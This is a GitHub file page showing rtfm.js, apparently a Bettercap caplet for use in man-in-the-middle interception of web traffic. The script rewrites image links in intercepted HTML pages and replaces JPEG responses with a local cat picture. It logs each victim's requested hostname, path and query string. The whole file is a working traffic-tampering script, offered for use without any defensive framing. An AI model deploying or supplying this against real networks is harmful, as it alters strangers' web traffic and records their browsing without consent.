forked from warecrer/Bettercap-caplets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrtfm.js
23 lines (21 loc) · 744 Bytes
/
rtfm.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function onRequest(req, res) {
req.Path = req.Path.replace('-you-did-not-rtfm', '');
}
function onResponse(req, res) {
if (res.ContentType.indexOf("text/html") == 0) {
var body = res.ReadBody();
res.Body = body.replace(
/\.(jpg|jpeg|png|gif|bmp)/gi,
'-you-did-not-rtfm.$1'
);
}
else if (res.ContentType.indexOf("image/jpeg") != -1) {
for (var i = 0; i < res.Headers.length; i++) {
res.RemoveHeader(res.Headers[i].Name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.Body = readFile("caplets/www/rtfm_cat.jpg");
log("RTFM! " + req.Hostname + req.Path + ( req.Query ? "?" + req.Query : ''));
}
}